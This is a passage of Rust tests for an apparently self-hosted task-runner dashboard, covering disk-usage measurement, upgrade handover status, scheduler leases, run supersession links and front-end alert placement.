23737                assert!(disk["worktrees_bytes"].is_null());
23738                // Free space is a cheap live observation even while the
23739                // recursive capacity measurement remains blocked.
23740                assert!(disk["free_bytes"].is_u64());
23741            }
23742        })
23743        .await
23744        .expect("health must return while the measurement is causally blocked");
23745        assert!(ui.monitor.disk.lock().unwrap().in_flight);
23746        // No competing worker can have published while the first holds flight.
23747        assert!(
23748            ui.monitor
23749                .disk
23750                .lock()
23751                .unwrap()
23752                .capacity
23753                .runs_bytes
23754                .is_none()
23755        );
23756        release.send(()).unwrap();
23757        wait_for_disk_scan(&ui.monitor.disk).await;
23758        assert_eq!(
23759            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
23760            Some(200)
23761        );
23762    }
23763
23764    #[tokio::test]
23765    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
23766        let home = TempDir::new().unwrap();
23767        let scope = disk_test_scope(home.path());
23768        let state = Arc::new(Mutex::new(DiskObservation {
23769            scope: Some(scope.clone()),
23770            capacity: known_disk_capacity(),
23771            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
23772            ..Default::default()
23773        }));
23774        let (started, reached) = tokio::sync::oneshot::channel();
23775        let (release, blocked) = std::sync::mpsc::channel();
23776        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
23777            started.send(()).unwrap();
23778            blocked.recv().unwrap();
23779            DiskCapacity {
23780                runs_bytes: Some(250),
23781                ..Default::default()
23782            }
23783        });
23784        assert_eq!(before.cache_bytes, Some(400));
23785        tokio::time::timeout(Duration::from_secs(5), reached)
23786            .await
23787            .unwrap()
23788            .unwrap();
23789        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23790        for _ in 0..4 {
23791            let scans = duplicate_scans.clone();
23792            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
23793                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23794                DiskCapacity::default()
23795            });
23796            assert_eq!(during.runs_bytes, Some(200));
23797            assert_eq!(during.cache_bytes, Some(400));
23798        }
23799        release.send(()).unwrap();
23800        wait_for_disk_scan(&state).await;
23801        let scans = duplicate_scans.clone();
23802        let after = DiskObservation::observe(&state, scope, move |_| {
23803            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23804            DiskCapacity::default()
23805        });
23806        wait_for_disk_scan(&state).await;
23807        assert_eq!(after.runs_bytes, Some(250));
23808        assert_eq!(after.free_bytes, Some(100));
23809        assert_eq!(after.cache_bytes, Some(400));
23810        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23811        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
23812    }
23813
23814    #[tokio::test]
23815    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
23816        let home = TempDir::new().unwrap();
23817        let old_scope = disk_test_scope(home.path());
23818        let mut new_scope = old_scope.clone();
23819        new_scope.cache = Some(home.path().join("replacement-cache"));
23820        let state = Arc::new(Mutex::new(DiskObservation {
23821            scope: Some(old_scope.clone()),
23822            capacity: known_disk_capacity(),
23823            ..Default::default()
23824        }));
23825        let (started, reached) = tokio::sync::oneshot::channel();
23826        let (release, blocked) = std::sync::mpsc::channel();
23827        DiskObservation::observe(&state, old_scope, move |_| {
23828            started.send(()).unwrap();
23829            blocked.recv().unwrap();
23830            known_disk_capacity()
23831        });
23832        tokio::time::timeout(Duration::from_secs(5), reached)
23833            .await
23834            .unwrap()
23835            .unwrap();
23836        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23837        let scans = duplicate_scans.clone();
23838        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
23839            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23840            DiskCapacity::default()
23841        });
23842        assert!(changed.cache_bytes.is_none());
23843        assert!(changed.runs_bytes.is_none());
23844        release.send(()).unwrap();
23845        wait_for_disk_scan(&state).await;
23846        {
23847            let observation = state.lock().unwrap();
23848            assert!(observation.capacity.cache_bytes.is_none());
23849            assert!(observation.finished.is_none());
23850        }
23851        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
23852            assert_eq!(scope, &new_scope);
23853            DiskCapacity {
23854                cache_bytes: Some(999),
23855                ..Default::default()
23856            }
23857        });
23858        wait_for_disk_scan(&state).await;
23859        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
23860        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23861    }
23862
23863    #[tokio::test]
23864    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
23865        let home = TempDir::new().unwrap();
23866        let scope = disk_test_scope(home.path());
23867        let state = Arc::new(Mutex::new(DiskObservation {
23868            scope: Some(scope.clone()),
23869            capacity: known_disk_capacity(),
23870            ..Default::default()
23871        }));
23872        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
23873        wait_for_disk_scan(&state).await;
23874        {
23875            let mut observation = state.lock().unwrap();
23876            assert_eq!(observation.capacity.cache_bytes, Some(400));
23877            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
23878            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
23879        }
23880        DiskObservation::observe(&state, scope, |_| DiskCapacity {
23881            cache_bytes: Some(450),
23882            ..Default::default()
23883        });
23884        wait_for_disk_scan(&state).await;
23885        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
23886    }
23887
23888    #[test]
23889    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
23890        let home = TempDir::new().unwrap();
23891        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
23892        assert_eq!(disk_capacity_size(home.path()), Some(0));
23893        std::fs::create_dir(home.path().join("nested")).unwrap();
23894        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
23895        assert_eq!(disk_capacity_size(home.path()), Some(5));
23896        #[cfg(unix)]
23897        {
23898            // Unix distinguishes an invalid descendant lookup from absence.
23899            assert_eq!(
23900                disk_capacity_size(&home.path().join("nested/data/child")),
23901                None
23902            );
23903        }
23904        #[cfg(unix)]
23905        {
23906            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
23907            assert_eq!(disk_capacity_size(home.path()), Some(5));
23908        }
23909    }
23910
23911    #[tokio::test]
23912    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
23913        // `mode = "off"` for the same reason as the test above: a default
23914        // fixture repo falls back to `mode = "notify"`, which would make this
23915        // route's new `update` field a live, unauthenticated GitHub call on
23916        // every assertion in this suite that happens to hit `/api/health`.
23917        let repo = TempDir::new().expect("repo dir");
23918        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23919            .expect("write magi.toml");
23920        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23921
23922        let health = fx.get("/api/health").await.json();
23923        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23924        assert_eq!(
23925            health["update"]["available"], false,
23926            "checking is off, which reads as \"unknown\", not \"none\""
23927        );
23928        assert!(health["update"]["to"].is_null());
23929        assert!(
23930            health["upgrade"].is_null(),
23931            "nothing has ever asked this deck to upgrade"
23932        );
23933    }
23934
23935    #[tokio::test]
23936    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23937        let fx = Fixture::start().await;
23938        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23939
23940        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23941        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23942        progress.advance(crate::updater::Stage::Parking);
23943        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23944
23945        let health = fx.get("/api/health").await.json();
23946        assert_eq!(health["upgrade"]["stage"], "parking");
23947        assert_eq!(health["upgrade"]["from"], "0.5.1");
23948        assert_eq!(health["upgrade"]["to"], "0.5.2");
23949        let waiting_on = health["upgrade"]["waiting_on"]
23950            .as_str()
23951            .expect("waiting_on is set while parking a known run");
23952        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23953        assert!(waiting_on.contains("implementing"), "{waiting_on}");
23954    }
23955
23956    #[tokio::test]
23957    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23958        let fx = Fixture::start().await;
23959        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23960        progress.advance(crate::updater::Stage::Done);
23961        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23962
23963        let health = fx.get("/api/health").await.json();
23964        assert_eq!(health["upgrade"]["stage"], "done");
23965        assert!(
23966            health["upgrade"]["waiting_on"].is_null(),
23967            "nothing to wait on once it is done"
23968        );
23969    }
23970
23971    /// The handover signal is seen however the race falls, and wakes its one
23972    /// waiter once per signal - nothing here can spin.
23973    #[tokio::test]
23974    async fn the_handover_signal_wakes_one_waiter_once() {
23975        let signal = Notify::new();
23976        // Signalled before anyone waits: the stored permit is not lost.
23977        signal.notify_one();
23978        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23979            .await
23980            .expect("an early signal is still seen");
23981        // One signal, one wake-up: a second wait does not resolve by itself.
23982        assert!(
23983            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23984                .await
23985                .is_err(),
23986            "a consumed signal must not wake a second time"
23987        );
23988        // Signalled while waiting.
23989        let signal = std::sync::Arc::new(signal);
23990        let waiter = tokio::spawn({
23991            let signal = std::sync::Arc::clone(&signal);
23992            async move { wait_for_handover(&signal).await }
23993        });
23994        tokio::time::sleep(Duration::from_millis(20)).await;
23995        assert!(!waiter.is_finished(), "nothing was signalled yet");
23996        signal.notify_one();
23997        tokio::time::timeout(Duration::from_secs(5), waiter)
23998            .await
23999            .expect("a late signal wakes the waiter")
24000            .expect("join");
24001    }
24002
24003    #[tokio::test]
24004    async fn health_says_how_long_a_handover_has_been_stuck() {
24005        let fx = Fixture::start().await;
24006        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24007        progress.advance(crate::updater::Stage::Replaced);
24008        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
24009        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24010
24011        let health = fx.get("/api/health").await.json();
24012        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
24013        assert!(stuck >= 600, "{stuck}");
24014        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
24015        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
24016    }
24017
24018    #[tokio::test]
24019    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
24020        let home = tempfile::tempdir().expect("temp home");
24021        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24022        progress.advance(crate::updater::Stage::Parking);
24023        crate::updater::write_progress(home.path(), &progress).expect("seed");
24024        // What the second upgrade_and_restart and its handler do.
24025        let mut again = progress.clone();
24026        again.advance(crate::updater::Stage::Replaced);
24027        crate::updater::write_progress(home.path(), &again).expect("replaced");
24028        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24029        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
24030        let after = crate::updater::read_progress(home.path()).expect("record");
24031        assert_eq!(after.stage, crate::updater::Stage::Parking);
24032    }
24033
24034    #[tokio::test]
24035    async fn health_does_not_call_a_live_parking_wait_stuck() {
24036        let fx = Fixture::start().await;
24037        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24038        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24039        progress.advance(crate::updater::Stage::Parking);
24040        let hours = Duration::from_secs(3 * 3600);
24041        progress.started_at = Timestamp::now() - hours;
24042        progress.updated_at = Timestamp::now() - hours;
24043        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24044        let _lease = crate::updater::LeaseGuard::enter(
24045            fx.home.path(),
24046            Some("20260905-000000-cd51".to_owned()),
24047        );
24048
24049        let health = fx.get("/api/health").await.json();
24050        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
24051        assert!(health["upgrade"]["stuck_kind"].is_null());
24052        assert_eq!(health["upgrade"]["handover_alive"], true);
24053        let waiting_on = health["upgrade"]["waiting_on"]
24054            .as_str()
24055            .expect("waiting_on");
24056        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24057    }
24058
24059    fn idle_ui(home: &TempDir) -> Ui {
24060        let runs = home.path().join("runs");
24061        std::fs::create_dir_all(&runs).expect("runs dir");
24062        Ui::new(
24063            Queue::at(home.path().join("queue")),
24064            Questions::at(home.path().join("questions")),
24065            Talks::at(home.path().join("talks")),
24066            runs,
24067            home.path().to_path_buf(),
24068            PathBuf::from("/repo/magi"),
24069        )
24070        .with_launch(launch_idle)
24071    }
24072
24073    #[tokio::test]
24074    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
24075        let home = TempDir::new().expect("temp home");
24076        let ui = idle_ui(&home);
24077        let lease = crate::worker::try_lease(home.path(), "scheduler")
24078            .expect("scheduler lease")
24079            .expect("free");
24080        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
24081            .expect("request stop");
24082        let error = ui
24083            .start_detached_loop()
24084            .await
24085            .expect_err("transition is still live");
24086        assert_eq!(error.status, StatusCode::CONFLICT);
24087        assert!(error.message.contains("still running or stopping"));
24088        assert_eq!(
24089            crate::worker::control(home.path(), "scheduler").unwrap(),
24090            Some(crate::worker::Control::Stop)
24091        );
24092        drop(lease);
24093    }
24094
24095    #[tokio::test]
24096    async fn handover_releases_listener_without_waiting_for_execution_leases() {
24097        let home = TempDir::new().expect("temp home");
24098        let ui = idle_ui(&home);
24099        let turns = ui
24100            .begin_talk_turn("active-chat")
24101            .expect("claim")
24102            .expect("free");
24103        let execution = crate::worker::try_lease(home.path(), "active-task")
24104            .expect("execution lease")
24105            .expect("free");
24106        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24107            .await
24108            .expect("bind loopback");
24109        let address = listener.local_addr().expect("address");
24110        let admissions = Arc::clone(&ui.admissions);
24111        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
24112        let successor_started = std::sync::atomic::AtomicBool::new(false);
24113        tokio::time::timeout(
24114            Duration::from_secs(2),
24115            hand_over(home.path(), &admissions, served, || {
24116                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24117                Ok(1)
24118            }),
24119        )
24120        .await
24121        .expect("restart must not wait for execution")
24122        .expect("handover");
24123        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24124        // BSD may retain the address briefly after listener release. The real
24125        // successor uses the same bounded bind retry rather than a one-shot bind.
24126        let successor = bind_waiting(address)
24127            .await
24128            .expect("successor binds released address");
24129        assert_eq!(successor.local_addr().unwrap(), address);
24130        assert!(turns.owns(), "the chat lease survives restart");
24131        assert!(
24132            crate::worker::try_lease(home.path(), "active-task")
24133                .unwrap()
24134                .is_none()
24135        );
24136        drop(execution);
24137        drop(turns);
24138    }
24139
24140    #[tokio::test]
24141    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
24142        let home = TempDir::new().expect("temp home");
24143        let ui = idle_ui(&home);
24144        let admission = ui.begin_admission().expect("admit send");
24145        let turn = ui
24146            .begin_talk_turn("active-chat")
24147            .expect("claim")
24148            .expect("free");
24149        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24150            .await
24151            .expect("bind loopback");
24152        let address = listener.local_addr().expect("address");
24153        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
24154        let successor_called = std::sync::atomic::AtomicBool::new(false);
24155        let handover = hand_over(home.path(), &ui.admissions, served, || {
24156            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
24157            Ok(1)
24158        });
24159        tokio::pin!(handover);
24160        // Poll exactly to the writer waiting on our admission guard. This
24161        // pins the race without sleeps or assumptions about task scheduling.
24162        std::future::poll_fn(|cx| {
24163            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24164            std::task::Poll::Ready(())
24165        })
24166        .await;
24167        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
24168        assert!(
24169            ui.begin_admission().is_err(),
24170            "new ingress cannot race the drain"
24171        );
24172        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24173        drop(admission);
24174        tokio::time::timeout(Duration::from_secs(2), handover)
24175            .await
24176            .expect("only publication may delay restart")
24177            .expect("handover");
24178        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24179        assert!(
24180            turn.owns(),
24181            "the detached chat turn is not awaited or cancelled"
24182        );
24183        assert!(
24184            ui.begin_admission().is_err(),
24185            "old accepted connections stay closed"
24186        );
24187        drop(turn);
24188    }
24189
24190    #[test]
24191    fn health_worker_metadata_never_contains_payload_or_result() {
24192        let view = WorkerView::from(crate::worker::Job {
24193            id: "job".into(),
24194            sequence: 1,
24195            kind: "service".into(),
24196            key: "maintenance".into(),
24197            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24198            generation: "generation".into(),
24199            version: Some("1.2.3".into()),
24200            status: crate::worker::Status::Running,
24201            result: Some("private diagnostics".into()),
24202            pid: Some(4242),
24203            created_at: 1,
24204            finished_at: None,
24205        });
24206        let value = serde_json::to_value(view).expect("serialize public metadata");
24207        assert_eq!(value["version"], "1.2.3");
24208        assert_eq!(value["pid"], 4242);
24209        assert!(value.get("payload").is_none());
24210        assert!(value.get("result").is_none());
24211        assert!(!value.to_string().contains("private"));
24212    }
24213
24214    #[test]
24215    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24216        let home = TempDir::new().expect("temp home");
24217        let ui = idle_ui(&home);
24218        std::fs::write(
24219            home.path().join("daemon.json"),
24220            serde_json::json!({
24221                "schema": 2, "pid": 4242, "worker_protocol": 1,
24222                "updated_at": Timestamp::now().to_string(), "idle": true,
24223            })
24224            .to_string(),
24225        )
24226        .expect("status");
24227        let reading = daemon::read_status(home.path());
24228        assert!(Foreign::of(reading.as_ref()).is_none());
24229        let view = ui.runtime_loop_view(reading, &[]);
24230        assert!(view.running);
24231        assert!(view.owned);
24232    }
24233
24234    #[test]
24235    fn only_an_explicit_one_requests_a_resume() {
24236        assert!(!resume_requested(None));
24237        assert!(!resume_requested(Some("0".into())));
24238        assert!(!resume_requested(Some("".into())));
24239        assert!(resume_requested(Some("1".into())));
24240    }
24241
24242    #[test]
24243    fn an_error_is_visible_from_where_the_button_is() {
24244        // The alert used to sit in the flow under the header. On a phone
24245        // scrolled 13 500 px down to a run's action sheet that is off screen,
24246        // so tapping Resume and being told "the loop is running run b455
24247        // right now" looked exactly like a button that did nothing.
24248        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24249            ..APP_CSS.find(".alert-text").expect(".alert-text")];
24250        assert!(
24251            alert.contains("position: fixed"),
24252            "an error about the thing under your thumb has to be visible from \
24253             where your thumb is: {alert}"
24254        );
24255        assert!(
24256            alert.contains("z-index: 25"),
24257            "above the dock (20) and the run-actions FAB (15), so neither \
24258             buries it: {alert}"
24259        );
24260        assert!(
24261            alert.contains("var(--tap)"),
24262            "and clear of the dock and the home indicator: {alert}"
24263        );
24264        // The FAB sits at the same height on the right. An error that covered
24265        // it would hide the button the operator reaches for next.
24266        assert!(
24267            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24268            "the FAB's column stays free: {alert}"
24269        );
24270    }
24271
24272    #[tokio::test]
24273    async fn an_older_attempt_says_what_replaced_it() {
24274        let fx = Fixture::start().await;
24275        let q = fx.queue();
24276        let runs = fx.runs();
24277        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24278        write_run(&runs, first, RunStatus::Stalled);
24279        write_run(&runs, second, RunStatus::Blocked);
24280
24281        let mut t = Task::new(
24282            "one task".to_owned(),
24283            "do it".to_owned(),
24284            PathBuf::from("/repo"),
24285            Source::Human,
24286        );
24287        t.runs = vec![first.to_owned(), second.to_owned()];
24288        q.put(&mut t).expect("put");
24289
24290        // Two cards with the same title and no hint which is which was the
24291        // question: "why are there two of the same, one stalled and one
24292        // blocked?" The older one now names its replacement.
24293        let rows = fx.get("/api/runs").await.json();
24294        let by = |short: &str| -> Value {
24295            rows.as_array()
24296                .unwrap()
24297                .iter()
24298                .find(|r| r["short"] == short)
24299                .cloned()
24300                .unwrap_or(Value::Null)
24301        };
24302        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24303        assert!(
24304            by("bbbb")["superseded_by"].is_null(),
24305            "the latest attempt is not superseded by anything"
24306        );
24307        // Front end: the note has to be rendered, not just carried.
24308        assert!(APP_JS.contains("run.superseded_by"));
24309        assert!(APP_JS.contains("Superseded by"));
24310    }
24311
24312    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24313        let mut t = Task::new(
24314            "one task".to_owned(),
24315            "do it".to_owned(),
24316            PathBuf::from("/repo"),
24317            Source::Human,
24318        );
24319        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24320        t.status = status;
24321        t
24322    }
24323
24324    #[test]
24325    fn source_link_picks_the_page_that_filed_the_task() {
24326        let agent = |node: &str| Source::Agent {
24327            run: "20260904-014455-ab12".to_owned(),
24328            node: node.to_owned(),
24329        };
24330        let chat = source_link(&agent("chat")).expect("chat link");
24331        assert_eq!(chat.kind, "chat");
24332        assert_eq!(chat.id, "20260904-014455-ab12");
24333        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24334        let run = source_link(&agent("implement")).expect("run link");
24335        assert_eq!(
24336            (run.kind, run.href.as_str()),
24337            ("run", "#/runs/20260904-014455-ab12")
24338        );
24339        assert_eq!(source_link(&Source::Human), None);
24340        assert_eq!(
24341            source_link(&Source::Issue {
24342                number: 3,
24343                repo: "o/r".to_owned()
24344            }),
24345            None
24346        );
24347        let odd = source_link(&Source::Agent {
24348            run: "a b/c".to_owned(),
24349            node: "chat".to_owned(),
24350        })
24351        .expect("link");
24352        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24353    }
24354
24355    #[test]
24356    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
24357        assert!(
24358            !APP_JS.contains("src.node === \"chat\""),
24359            "inline href rule is back"
24360        );
24361        assert!(
24362            APP_JS.matches("sourceLinkOf(").count() >= 4,
24363            "helper must serve every page"
24364        );
24365        assert!(
24366            APP_JS.matches("openChatLink(").count() >= 3,
24367            "the run page still needs its explicit chat link"
24368        );
24369        assert!(
24370            !APP_JS.contains("const openChat = el("),
24371            "the Queue card duplicates its source label link again"
24372        );
24373        assert!(
24374            APP_JS.contains("metaKids.push(link ? el(\"a\""),
24375            "the task page must link a chat source label too"
24376        );
24377    }
24378
24379    #[test]
24380    fn task_ref_carries_the_source_link_for_a_chat_task() {
24381        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24382        t.source = Source::Agent {
24383            run: "20260904-014455-ab12".to_owned(),
24384            node: "chat".to_owned(),
24385        };
24386        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
24387        let v = serde_json::to_value(&out).expect("json");
24388        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
24389        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
24390        assert_eq!(v["source_label"], t.source.label());
24391
24392        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24393        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
24394            .expect("json");
24395        assert!(v["source_link"].is_null(), "{v}");
24396    }
24397
24398    #[test]
24399    fn task_view_serializes_source_link() {
24400        let mut t = Task::new(
24401            "t".to_owned(),
24402            "t".to_owned(),
24403            PathBuf::from("/repo"),
24404            Source::Agent {
24405                run: "20260901-000000-aaaa".to_owned(),
24406                node: "implement".to_owned(),
24407            },
24408        );
24409        t.runs.clear();
24410        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24411        assert_eq!(v["source_link"]["kind"], "run", "{v}");
24412        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
24413    }
24414
24415    #[test]
24416    fn task_view_serializes_urgent_flag() {
24417        let mut t = Task::new(
24418            "t".to_owned(),
24419            "t".to_owned(),
24420            PathBuf::from("/repo"),
24421            Source::Human,
24422        );
24423        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
24424        assert_eq!(v["urgent"], false, "{v}");
24425        t.urgent = true;
24426        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24427        assert_eq!(v["urgent"], true, "{v}");
24428        assert!(APP_JS.contains("task.urgent === true"));
24429    }
24430
24431    #[tokio::test]
24432    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
24433        let fx = Fixture::start().await;
24434        let runs = fx.runs();
24435        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24436        write_run(&runs, old, RunStatus::Blocked);
24437        write_run(&runs, new, RunStatus::Merged);
24438        let mut t = outcome_task(&[old, new], TaskStatus::Done);
24439        fx.queue().put(&mut t).expect("put");
24440
24441        let view = fx.get(&format!("/api/runs/{old}")).await.json();
24442        let task = &view["task"];
24443        assert_eq!(task["status"], "done");
24444        assert_eq!(task["is_latest"], false);
24445        assert_eq!(task["latest"]["short"], "bbbb");
24446        assert_eq!(task["finished_by"]["id"], new);
24447        assert_eq!(task["finished_by"]["outcome"], "merged");
24448        assert_eq!(task["closed_by_hand"], false);
24449        assert_eq!(view["status"], "blocked", "the run keeps its own status");
24450        assert!(APP_JS.contains("finished_by"));
24451        assert!(APP_JS.contains("superseded by run"));
24452    }
24453
24454    #[tokio::test]
24455    async fn the_latest_run_reports_a_held_task_without_a_successor() {
24456        let fx = Fixture::start().await;
24457        let runs = fx.runs();
24458        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24459        write_run(&runs, old, RunStatus::Stalled);
24460        write_run(&runs, new, RunStatus::Blocked);
24461        let mut t = outcome_task(&[old, new], TaskStatus::Held);
24462        fx.queue().put(&mut t).expect("put");
24463
24464        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
24465        assert_eq!(task["status"], "held");
24466        assert_eq!(task["is_latest"], true);
24467        assert!(task["latest"].is_null());
24468        assert!(task["finished_by"].is_null());
24469        assert_eq!(task["closed_by_hand"], false);
24470    }
24471
24472    #[tokio::test]
24473    async fn a_direct_run_has_no_task_outcome() {
24474        let fx = Fixture::start().await;
24475        let runs = fx.runs();
24476        let id = "20260901-000000-aaaa";
24477        write_run(&runs, id, RunStatus::Blocked);
24478        let view = fx.get(&format!("/api/runs/{id}")).await.json();
24479        assert!(view["task"].is_null());
24480    }
24481
24482    #[test]
24483    fn task_outcome_does_not_guess_a_finishing_run() {
24484        let a = "20260901-000000-aaaa";
24485        let b = "20260901-000000-bbbb";
24486        let c = "20260901-000000-cccc";
24487        let dir = tempfile::tempdir().expect("tempdir");
24488        write_run(dir.path(), a, RunStatus::Blocked);
24489        write_run(dir.path(), b, RunStatus::VerifiedNoop);
24490        // `c` has no record: unreadable.
24491        let read = |id: &str| read_run(dir.path(), id).ok();
24492        // Neither a blocked run nor a no-op finished the task; the newest run is
24493        // unreadable and still named.
24494        let t = outcome_task(&[a, b, c], TaskStatus::Done);
24495        let out = task_outcome(&t, a, 3, read);
24496        assert!(out.finished_by.is_none());
24497        assert!(out.closed_by_hand);
24498        let latest = out.latest.expect("latest");
24499        assert_eq!(latest.id, c);
24500        assert_eq!(latest.status, None);
24501        assert_eq!(latest.outcome, "record unreadable");
24502
24503        // A Ready run settles the task as done, so it is named as the finisher.
24504        write_run(dir.path(), c, RunStatus::Ready);
24505        let t = outcome_task(&[a, c], TaskStatus::Done);
24506        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
24507        assert_eq!(out.finished_by.expect("finisher").id, c);
24508        assert!(!out.closed_by_hand);
24509
24510        // A resumed run id repeats: it is still the latest by id.
24511        let t = outcome_task(&[a, b, a], TaskStatus::Held);
24512        assert!(task_outcome(&t, a, 3, read).is_latest);
24513    }
24514
24515    #[tokio::test]
24516    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
24517        // The list route has known this since the card fix above; the detail
24518        // route — what an operator actually opens from a notification about
24519        // a blocked run — did not, and went on showing a bare red BLOCKED
24520        // chip for a run a retry had already finished.
24521        let fx = Fixture::start().await;
24522        let q = fx.queue();
24523        let runs = fx.runs();
24524        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
24525        write_run(&runs, first, RunStatus::Blocked);
24526        write_run(&runs, second, RunStatus::Merged);
24527
24528        let mut t = Task::new(
24529            "one task".to_owned(),
24530            "do it".to_owned(),
24531            PathBuf::from("/repo"),
24532            Source::Human,
24533        );
24534        t.runs = vec![first.to_owned(), second.to_owned()];
24535        q.put(&mut t).expect("put");
24536
24537        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
24538        assert_eq!(earlier["superseded_by"], "dddd");
24539        assert_eq!(earlier["latest_attempt"]["id"], second);
24540        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
24541        assert_eq!(
24542            earlier["latest_attempt"]["resolved"], true,
24543            "the run that replaced it landed, so this one reads as settled"
24544        );
24545
24546        let later = fx.get(&format!("/api/runs/{second}")).await.json();
24547        assert!(
24548            later["superseded_by"].is_null(),
24549            "the latest attempt is not superseded by anything"
24550        );
24551        assert!(
24552            later["latest_attempt"].is_null(),
24553            "the latest attempt has no later attempt of its own"
24554        );
24555
24556        // Front end: the detail page has to read the field this route now
24557        // carries, downgrade the chip, and link to the run that replaced it —
24558        // not just repeat the list card's own logic under a different name.
24559        // The link is built off `latest_attempt.id`, the server-resolved
24560        // full id, never a bare short string a client would have to guess a
24561        // full run from.
